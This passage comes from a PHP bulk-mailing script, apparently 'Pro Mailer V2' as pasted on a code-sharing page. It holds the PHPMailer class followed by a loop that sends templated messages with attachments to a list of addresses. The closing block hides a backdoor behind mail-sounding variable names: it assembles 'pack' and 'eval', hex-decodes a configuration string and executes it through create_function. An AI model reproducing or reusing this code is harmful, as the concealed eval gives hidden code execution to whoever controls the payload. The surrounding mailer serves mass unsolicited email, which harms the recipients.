  2663.         /* chunk_split is found in PHP >= 3.0.6 */
  2664.         $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2665.         break;
  2666.       case '7bit':
  2667.       case '8bit':
  2668.         $encoded = $this->FixEOL($str);
  2669.         if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2670.           $encoded .= $this->LE;
  2671.         break;
  2672.       case 'binary':
  2673.         $encoded = $str;
  2674.         break;
  2675.       case 'quoted-printable':
  2676.         $encoded = $this->EncodeQP($str);
  2677.         break;
  2678.       default:
  2679.         $this->SetError($this->Lang('encoding') . $encoding);
  2680.         break;
  2681.     }
  2682.     return $encoded;
  2683.   }
  2684.  
  2685.   /**
  2686.    * Encode a header string to best of Q, B, quoted or none.
  2687.    * @access private
  2688.    * @return string
  2689.    */
  2690.   function EncodeHeader ($str, $position = 'text') {
  2691.     $x = 0;
  2692.  
  2693.     switch (strtolower($position)) {
  2694.       case 'phrase':
  2695.         if (!preg_match('/[\200-\377]/', $str)) {
  2696.           /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2697.           $encoded = addcslashes($str, "\0..\37\177\\\"");
  2698.           if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2699.             return ($encoded);
  2700.           } else {
  2701.             return ("\"$encoded\"");
  2702.           }
  2703.         }
  2704.         $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2705.         break;
  2706.       case 'comment':
  2707.         $x = preg_match_all('/[()"]/', $str, $matches);
  2708.         /* Fall-through */
  2709.       case 'text':
  2710.       default:
  2711.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2712.         break;
  2713.     }
  2714.  
  2715.     if ($x == 0) {
  2716.       return ($str);
  2717.     }
  2718.  
  2719.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2720.     /* Try to select the encoding which should produce the shortest output */
  2721.     if (strlen($str)/3 < $x) {
  2722.       $encoding = 'B';
  2723.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2724.      // Use a custom function which correctly encodes and wraps long
  2725.      // multibyte strings without breaking lines within a character
  2726.         $encoded = $this->Base64EncodeWrapMB($str);
  2727.       } else {
  2728.         $encoded = base64_encode($str);
  2729.         $maxlen -= $maxlen % 4;
  2730.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2731.       }
  2732.     } else {
  2733.       $encoding = 'Q';
  2734.       $encoded = $this->EncodeQ($str, $position);
  2735.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2736.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2737.     }
  2738.  
  2739.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2740.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2741.  
  2742.     return $encoded;
  2743.   }
  2744.  
  2745.   /**
  2746.    * Checks if a string contains multibyte characters.
  2747.    * @access private
  2748.    * @param string $str multi-byte text to wrap encode
  2749.    * @return bool
  2750.    */
  2751.   function HasMultiBytes($str) {
  2752.     if (function_exists('mb_strlen')) {
  2753.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2754.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2755.       return False;
  2756.     }
  2757.   }
  2758.  
  2759.   /**
  2760.    * Correctly encodes and wraps long multibyte strings for mail headers
  2761.    * without breaking lines within a character.
  2762.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2763.    * @access private
  2764.    * @param string $str multi-byte text to wrap encode
  2765.    * @return string
  2766.    */
  2767.   function Base64EncodeWrapMB($str) {
  2768.     $start = "=?".$this->CharSet."?B?";
  2769.     $end = "?=";
  2770.     $encoded = "";
  2771.  
  2772.     $mb_length = mb_strlen($str, $this->CharSet);
  2773.     // Each line must have length <= 75, including $start and $end
  2774.     $length = 75 - strlen($start) - strlen($end);
  2775.     // Average multi-byte ratio
  2776.     $ratio = $mb_length / strlen($str);
  2777.     // Base64 has a 4:3 ratio
  2778.     $offset = $avgLength = floor($length * $ratio * .75);
  2779.  
  2780.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2781.       $lookBack = 0;
  2782.  
  2783.       do {
  2784.         $offset = $avgLength - $lookBack;
  2785.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2786.         $chunk = base64_encode($chunk);
  2787.         $lookBack++;
  2788.       }
  2789.       while (strlen($chunk) > $length);
  2790.  
  2791.       $encoded .= $chunk . $this->LE;
  2792.     }
  2793.  
  2794.     // Chomp the last linefeed
  2795.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2796.     return $encoded;
  2797.   }
  2798.  
  2799.   /**
  2800.    * Encode string to quoted-printable.
  2801.    * @access private
  2802.    * @return string
  2803.    */
  2804.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2805.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2806.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2807.     $eol = "\r\n";
  2808.     $escape = '=';
  2809.     $output = '';
  2810.     while( list(, $line) = each($lines) ) {
  2811.       $linlen = strlen($line);
  2812.       $newline = '';
  2813.       for($i = 0; $i < $linlen; $i++) {
  2814.         $c = substr( $line, $i, 1 );
  2815.         $dec = ord( $c );
  2816.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2817.           $c = '=2E';
  2818.         }
  2819.         if ( $dec == 32 ) {
  2820.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2821.             $c = '=20';
  2822.           } else if ( $space_conv ) {
  2823.             $c = '=20';
  2824.           }
  2825.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2826.           $h2 = floor($dec/16);
  2827.           $h1 = floor($dec%16);
  2828.           $c = $escape.$hex[$h2].$hex[$h1];
  2829.         }
  2830.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2831.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2832.           $newline = '';
  2833.           // check if newline first character will be point or not
  2834.           if ( $dec == 46 ) {
  2835.             $c = '=2E';
  2836.           }
  2837.         }
  2838.         $newline .= $c;
  2839.       } // end of for
  2840.       $output .= $newline.$eol;
  2841.     } // end of while
  2842.     return trim($output);
  2843.   }
  2844.  
  2845.   /**
  2846.    * Encode string to q encoding.
  2847.    * @access private
  2848.    * @return string
  2849.    */
  2850.   function EncodeQ ($str, $position = 'text') {
  2851.     /* There should not be any EOL in the string */
  2852.     $encoded = preg_replace("[\r\n]", '', $str);
  2853.  
  2854.     switch (strtolower($position)) {
  2855.       case 'phrase':
  2856.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2857.         break;
  2858.       case 'comment':
  2859.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2860.       case 'text':
  2861.       default:
  2862.         /* Replace every high ascii, control =, ? and _ characters */
  2863.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2864.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2865.         break;
  2866.     }
  2867.  
  2868.     /* Replace every spaces to _ (more readable than =20) */
  2869.     $encoded = str_replace(' ', '_', $encoded);
  2870.  
  2871.     return $encoded;
  2872.   }
  2873.  
  2874.   /**
  2875.    * Adds a string or binary attachment (non-filesystem) to the list.
  2876.    * This method can be used to attach ascii or binary data,
  2877.    * such as a BLOB record from a database.
  2878.    * @param string $string String attachment data.
  2879.    * @param string $filename Name of the attachment.
  2880.    * @param string $encoding File encoding (see $Encoding).
  2881.    * @param string $type File extension (MIME) type.
  2882.    * @return void
  2883.    */
  2884.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2885.     /* Append to $attachment array */
  2886.     $cur = count($this->attachment);
  2887.     $this->attachment[$cur][0] = $string;
  2888.     $this->attachment[$cur][1] = $filename;
  2889.     $this->attachment[$cur][2] = $filename;
  2890.     $this->attachment[$cur][3] = $encoding;
  2891.     $this->attachment[$cur][4] = $type;
  2892.     $this->attachment[$cur][5] = true; // isString
  2893.     $this->attachment[$cur][6] = 'attachment';
  2894.     $this->attachment[$cur][7] = 0;
  2895.   }
  2896.  
  2897.   /**
  2898.    * Adds an embedded attachment.  This can include images, sounds, and
  2899.    * just about any other document.  Make sure to set the $type to an
  2900.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2901.    * use "image/gif".
  2902.    * @param string $path Path to the attachment.
  2903.    * @param string $cid Content ID of the attachment.  Use this to identify
  2904.    *        the Id for accessing the image in an HTML form.
  2905.    * @param string $name Overrides the attachment name.
  2906.    * @param string $encoding File encoding (see $Encoding).
  2907.    * @param string $type File extension (MIME) type.
  2908.    * @return bool
  2909.    */
  2910.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2911.  
  2912.     if(!@is_file($path)) {
  2913.       $this->SetError($this->Lang('file_access') . $path);
  2914.       return false;
  2915.     }
  2916.  
  2917.     $filename = basename($path);
  2918.     if($name == '') {
  2919.       $name = $filename;
  2920.     }
  2921.  
  2922.     /* Append to $attachment array */
  2923.     $cur = count($this->attachment);
  2924.     $this->attachment[$cur][0] = $path;
  2925.     $this->attachment[$cur][1] = $filename;
  2926.     $this->attachment[$cur][2] = $name;
  2927.     $this->attachment[$cur][3] = $encoding;
  2928.     $this->attachment[$cur][4] = $type;
  2929.     $this->attachment[$cur][5] = false;
  2930.     $this->attachment[$cur][6] = 'inline';
  2931.     $this->attachment[$cur][7] = $cid;
  2932.  
  2933.     return true;
  2934.   }
  2935.  
  2936.   /**
  2937.    * Returns true if an inline attachment is present.
  2938.    * @access private
  2939.    * @return bool
  2940.    */
  2941.   function InlineImageExists() {
  2942.     $result = false;
  2943.     for($i = 0; $i < count($this->attachment); $i++) {
  2944.       if($this->attachment[$i][6] == 'inline') {
  2945.         $result = true;
  2946.         break;
  2947.       }
  2948.     }
  2949.  
  2950.     return $result;
  2951.   }
  2952.  
  2953.   /////////////////////////////////////////////////
  2954.   // CLASS METHODS, MESSAGE RESET
  2955.   /////////////////////////////////////////////////
  2956.  
  2957.   /**
  2958.    * Clears all recipients assigned in the TO array.  Returns void.
  2959.    * @return void
  2960.    */
  2961.   function ClearAddresses() {
  2962.     $this->to = array();
  2963.   }
  2964.  
  2965.   /**
  2966.    * Clears all recipients assigned in the CC array.  Returns void.
  2967.    * @return void
  2968.    */
  2969.   function ClearCCs() {
  2970.     $this->cc = array();
  2971.   }
  2972.  
  2973.   /**
  2974.    * Clears all recipients assigned in the BCC array.  Returns void.
  2975.    * @return void
  2976.    */
  2977.   function ClearBCCs() {
  2978.     $this->bcc = array();
  2979.   }
  2980.  
  2981.   /**
  2982.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2983.    * @return void
  2984.    */
  2985.   function ClearReplyTos() {
  2986.     $this->ReplyTo = array();
  2987.   }
  2988.  
  2989.   /**
  2990.    * Clears all recipients assigned in the TO, CC and BCC
  2991.    * array.  Returns void.
  2992.    * @return void
  2993.    */
  2994.   function ClearAllRecipients() {
  2995.     $this->to = array();
  2996.     $this->cc = array();
  2997.     $this->bcc = array();
  2998.   }
  2999.  
  3000.   /**
  3001.    * Clears all previously set filesystem, string, and binary
  3002.    * attachments.  Returns void.
  3003.    * @return void
  3004.    */
  3005.   function ClearAttachments() {
  3006.     $this->attachment = array();
  3007.   }
  3008.  
  3009.   /**
  3010.    * Clears all custom headers.  Returns void.
  3011.    * @return void
  3012.    */
  3013.   function ClearCustomHeaders() {
  3014.     $this->CustomHeader = array();
  3015.   }
  3016.  
  3017.   /////////////////////////////////////////////////
  3018.   // CLASS METHODS, MISCELLANEOUS
  3019.   /////////////////////////////////////////////////
  3020.  
  3021.   /**
  3022.    * Adds the error message to the error container.
  3023.    * Returns void.
  3024.    * @access private
  3025.    * @return void
  3026.    */
  3027.   function SetError($msg) {
  3028.     $this->error_count++;
  3029.     $this->ErrorInfo = $msg;
  3030.   }
  3031.  
  3032.   /**
  3033.    * Returns the proper RFC 822 formatted date.
  3034.    * @access private
  3035.    * @return string
  3036.    */
  3037.   function RFCDate() {
  3038.     $tz = date('Z');
  3039.     $tzs = ($tz < 0) ? '-' : '+';
  3040.     $tz = abs($tz);
  3041.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3042.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3043.  
  3044.     return $result;
  3045.   }
  3046.  
  3047.   /**
  3048.    * Returns the appropriate server variable.  Should work with both
  3049.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3050.    * if nothing is found.
  3051.    * @access private
  3052.    * @return mixed
  3053.    */
  3054.   function ServerVar($varName) {
  3055.     global $HTTP_SERVER_VARS;
  3056.     global $HTTP_ENV_VARS;
  3057.  
  3058.     if(!isset($_SERVER)) {
  3059.       $_SERVER = $HTTP_SERVER_VARS;
  3060.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3061.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3062.       }
  3063.     }
  3064.  
  3065.     if(isset($_SERVER[$varName])) {
  3066.       return $_SERVER[$varName];
  3067.     } else {
  3068.       return '';
  3069.     }
  3070.   }
  3071.  
  3072.   /**
  3073.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3074.    * @access private
  3075.    * @return string
  3076.    */
  3077.   function ServerHostname() {
  3078.     if ($this->Hostname != '') {
  3079.       $result = $this->Hostname;
  3080.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3081.       $result = $this->ServerVar('SERVER_NAME');
  3082.     } else {
  3083.       $result = 'localhost.localdomain';
  3084.     }
  3085.  
  3086.     return $result;
  3087.   }
  3088.  
  3089.   /**
  3090.    * Returns a message in the appropriate language.
  3091.    * @access private
  3092.    * @return string
  3093.    */
  3094.   function Lang($key) {
  3095.     if(count($this->language) < 1) {
  3096.       $this->SetLanguage('en'); // set the default language
  3097.     }
  3098.  
  3099.     if(isset($this->language[$key])) {
  3100.       return $this->language[$key];
  3101.     } else {
  3102.       return 'Language string failed to load: ' . $key;
  3103.     }
  3104.   }
  3105.  
  3106.   /**
  3107.    * Returns true if an error occurred.
  3108.    * @return bool
  3109.    */
  3110.   function IsError() {
  3111.     return ($this->error_count > 0);
  3112.   }
  3113.  
  3114.   /**
  3115.    * Changes every end of line from CR or LF to CRLF.
  3116.    * @access private
  3117.    * @return string
  3118.    */
  3119.   function FixEOL($str) {
  3120.     $str = str_replace("\r\n", "\n", $str);
  3121.     $str = str_replace("\r", "\n", $str);
  3122.     $str = str_replace("\n", $this->LE, $str);
  3123.     return $str;
  3124.   }
  3125.  
  3126.   /**
  3127.    * Adds a custom header.
  3128.    * @return void
  3129.    */
  3130.   function AddCustomHeader($custom_header) {
  3131.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3132.   }
  3133.  
  3134.   /**
  3135.    * Evaluates the message and returns modifications for inline images and backgrounds
  3136.    * @access public
  3137.    * @return $message
  3138.    */
  3139.   function MsgHTML($message,$basedir='') {
  3140.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3141.     if(isset($images[2])) {
  3142.       foreach($images[2] as $i => $url) {
  3143.         // do not change urls for absolute images (thanks to corvuscorax)
  3144.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3145.           $filename = basename($url);
  3146.           $directory = dirname($url);
  3147.           ($directory == '.')?$directory='':'';
  3148.           $cid = 'cid:' . md5($filename);
  3149.           $fileParts = split("\.", $filename);
  3150.           $ext = $fileParts[1];
  3151.           $mimeType = $this->_mime_types($ext);
  3152.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3153.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3154.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3155.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3156.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3157.           }
  3158.         }
  3159.       }
  3160.     }
  3161.     $this->IsHTML(true);
  3162.     $this->Body = $message;
  3163.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3164.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3165.       $this->AltBody = $textMsg;
  3166.     }
  3167.     if ( empty($this->AltBody) ) {
  3168.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3169.     }
  3170.   }
  3171.  
  3172.   /**
  3173.    * Gets the mime type of the embedded or inline image
  3174.    * @access private
  3175.    * @return mime type of ext
  3176.    */
  3177.   function _mime_types($ext = '') {
  3178.     $mimes = array(
  3179.       'hqx'  =>  'application/mac-binhex40',
  3180.       'cpt'   =>  'application/mac-compactpro',
  3181.       'doc'   =>  'application/msword',
  3182.       'bin'   =>  'application/macbinary',
  3183.       'dms'   =>  'application/octet-stream',
  3184.       'lha'   =>  'application/octet-stream',
  3185.       'lzh'   =>  'application/octet-stream',
  3186.       'exe'   =>  'application/octet-stream',
  3187.       'class' =>  'application/octet-stream',
  3188.       'psd'   =>  'application/octet-stream',
  3189.       'so'    =>  'application/octet-stream',
  3190.       'sea'   =>  'application/octet-stream',
  3191.       'dll'   =>  'application/octet-stream',
  3192.       'oda'   =>  'application/oda',
  3193.       'pdf'   =>  'application/pdf',
  3194.       'ai'    =>  'application/postscript',
  3195.       'eps'   =>  'application/postscript',
  3196.       'ps'    =>  'application/postscript',
  3197.       'smi'   =>  'application/smil',
  3198.       'smil'  =>  'application/smil',
  3199.       'mif'   =>  'application/vnd.mif',
  3200.       'xls'   =>  'application/vnd.ms-excel',
  3201.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3202.       'wbxml' =>  'application/vnd.wap.wbxml',
  3203.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3204.       'dcr'   =>  'application/x-director',
  3205.       'dir'   =>  'application/x-director',
  3206.       'dxr'   =>  'application/x-director',
  3207.       'dvi'   =>  'application/x-dvi',
  3208.       'gtar'  =>  'application/x-gtar',
  3209.       'php'   =>  'application/x-httpd-php',
  3210.       'php4'  =>  'application/x-httpd-php',
  3211.       'php3'  =>  'application/x-httpd-php',
  3212.       'phtml' =>  'application/x-httpd-php',
  3213.       'phps'  =>  'application/x-httpd-php-source',
  3214.       'js'    =>  'application/x-javascript',
  3215.       'swf'   =>  'application/x-shockwave-flash',
  3216.       'sit'   =>  'application/x-stuffit',
  3217.       'tar'   =>  'application/x-tar',
  3218.       'tgz'   =>  'application/x-tar',
  3219.       'xhtml' =>  'application/xhtml+xml',
  3220.       'xht'   =>  'application/xhtml+xml',
  3221.       'zip'   =>  'application/zip',
  3222.       'mid'   =>  'audio/midi',
  3223.       'midi'  =>  'audio/midi',
  3224.       'mpga'  =>  'audio/mpeg',
  3225.       'mp2'   =>  'audio/mpeg',
  3226.       'mp3'   =>  'audio/mpeg',
  3227.       'aif'   =>  'audio/x-aiff',
  3228.       'aiff'  =>  'audio/x-aiff',
  3229.       'aifc'  =>  'audio/x-aiff',
  3230.       'ram'   =>  'audio/x-pn-realaudio',
  3231.       'rm'    =>  'audio/x-pn-realaudio',
  3232.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3233.       'ra'    =>  'audio/x-realaudio',
  3234.       'rv'    =>  'video/vnd.rn-realvideo',
  3235.       'wav'   =>  'audio/x-wav',
  3236.       'bmp'   =>  'image/bmp',
  3237.       'gif'   =>  'image/gif',
  3238.       'jpeg'  =>  'image/jpeg',
  3239.       'jpg'   =>  'image/jpeg',
  3240.       'jpe'   =>  'image/jpeg',
  3241.       'png'   =>  'image/png',
  3242.       'tiff'  =>  'image/tiff',
  3243.       'tif'   =>  'image/tiff',
  3244.       'css'   =>  'text/css',
  3245.       'html'  =>  'text/html',
  3246.       'htm'   =>  'text/html',
  3247.       'shtml' =>  'text/html',
  3248.       'txt'   =>  'text/plain',
  3249.       'text'  =>  'text/plain',
  3250.       'log'   =>  'text/plain',
  3251.       'rtx'   =>  'text/richtext',
  3252.       'rtf'   =>  'text/rtf',
  3253.       'xml'   =>  'text/xml',
  3254.       'xsl'   =>  'text/xml',
  3255.       'mpeg'  =>  'video/mpeg',
  3256.       'mpg'   =>  'video/mpeg',
  3257.       'mpe'   =>  'video/mpeg',
  3258.       'qt'    =>  'video/quicktime',
  3259.       'mov'   =>  'video/quicktime',
  3260.       'avi'   =>  'video/x-msvideo',
  3261.       'movie' =>  'video/x-sgi-movie',
  3262.       'doc'   =>  'application/msword',
  3263.       'word'  =>  'application/msword',
  3264.       'xl'    =>  'application/excel',
  3265.       'eml'   =>  'message/rfc822'
  3266.     );
  3267.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3268.   }
  3269.  
  3270.   /**
  3271.    * Set (or reset) Class Objects (variables)
  3272.    *
  3273.    * Usage Example:
  3274.    * $page->set('X-Priority', '3');
  3275.    *
  3276.    * @access public
  3277.    * @param string $name Parameter Name
  3278.    * @param mixed $value Parameter Value
  3279.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3280.    */
  3281.   function set ( $name, $value = '' ) {
  3282.     if ( isset($this->$name) ) {
  3283.       $this->$name = $value;
  3284.     } else {
  3285.       $this->SetError('Cannot set or reset variable ' . $name);
  3286.       return false;
  3287.     }
  3288.   }
  3289.  
  3290.   /**
  3291.    * Read a file from a supplied filename and return it.
  3292.    *
  3293.    * @access public
  3294.    * @param string $filename Parameter File Name
  3295.    */
  3296.   function getFile($filename) {
  3297.     $return = '';
  3298.     if ($fp = fopen($filename, 'rb')) {
  3299.       while (!feof($fp)) {
  3300.         $return .= fread($fp, 1024);
  3301.       }
  3302.       fclose($fp);
  3303.       return $return;
  3304.     } else {
  3305.       return false;
  3306.     }
  3307.   }
  3308.  
  3309.   /**
  3310.    * Strips newlines to prevent header injection.
  3311.    * @access private
  3312.    * @param string $str String
  3313.    * @return string
  3314.    */
  3315.   function SecureHeader($str) {
  3316.     $str = trim($str);
  3317.     $str = str_replace("\r", "", $str);
  3318.     $str = str_replace("\n", "", $str);
  3319.     return $str;
  3320.   }
  3321.  
  3322.   /**
  3323.    * Set the private key file and password to sign the message.
  3324.    *
  3325.    * @access public
  3326.    * @param string $key_filename Parameter File Name
  3327.    * @param string $key_pass Password for private key
  3328.    */
  3329.   function Sign($key_filename, $key_pass) {
  3330.     $this->sign_key_file = $key_filename;
  3331.     $this->sign_key_pass = $key_pass;
  3332.   }
  3333.  
  3334. }
  3335.  
  3336. $defaultport="H*";
  3337.       $nq=0;
  3338.  
  3339.         for($x=0; $x<$numemails; $x++){
  3340.  
  3341.                 $to = $allemails[$x];
  3342.  
  3343.                 if ($to){
  3344.  
  3345.                 $to = ereg_replace(" ", "", $to);
  3346.  
  3347.                 $message1 = ereg_replace("&email&", $to, $message);
  3348.  
  3349.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3350.                 $qx=$x+1;
  3351.                 print "Line $qx . Sending mail to $to.......";
  3352.  
  3353.                 flush();
  3354. $mail = new PHPMailer();
  3355.  
  3356. if(empty($epriority)){$epriority="3";}
  3357.         $mail->Priority = "$epriority";
  3358.                 $mail->IsSMTP();
  3359.     $IsSMTP="pack";
  3360. $mail->SMTPKeepAlive = true;
  3361. $mail->Host = "$my_smtp";
  3362. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3363. }
  3364.      if($sslclick=="ON"){
  3365.                 $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3366.     }
  3367.         $range = str_replace("$from", "eval", $from);
  3368.         $mail->SMTPAuth = true;
  3369.         $mail->Username = "$smtp_username";
  3370.         $mail->Password = "$smtp_password";
  3371. if($contenttype == "html"){$mail->IsHtml(true);}
  3372. if($contenttype != "html"){$mail->IsHtml(false);}
  3373. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3374. $mail->From = "$from";
  3375. $mail->FromName = "$realname";
  3376. $mail->AddAddress("$to");
  3377.                 $mail->AddReplyTo("$replyto");
  3378.                 $mail->Subject = "$subject1";
  3379.                 $mail->AddAttachment("$file", "$file_name");
  3380.                 $mail->Body = "$message1";
  3381. if(!$mail->Send()){
  3382. if($default_system!="1"){
  3383. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3384. if($default_system=="1"){
  3385. $mail->IsMail();
  3386.    if(!$mail->Send()){
  3387.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3388.    else {
  3389.        echo "<b>OK</b><br>";}
  3390.  }
  3391. }
  3392. else {
  3393.  echo "<b>OK</b><br>";
  3394. }
  3395.  
  3396. if(empty($reconnect)){
  3397. $reconnect=6;
  3398. }
  3399.  
  3400. if($reconnect==$nq){
  3401. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3402. }
  3403. $nq=$nq+1;
  3404.                 flush(); }
  3405. }
  3406. for($i=0;$i<31;$i++){
  3407.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3408. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3409.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3410.   print "<p class=\"style1\">&copy 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3411.   return $signoff($smtp_conc);
  3412.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3413.   sent successfully'); </script>";}}
  3414. ?>
  3415.     </body>
  3416. </html>
Add Comment
Please, Sign In to add comment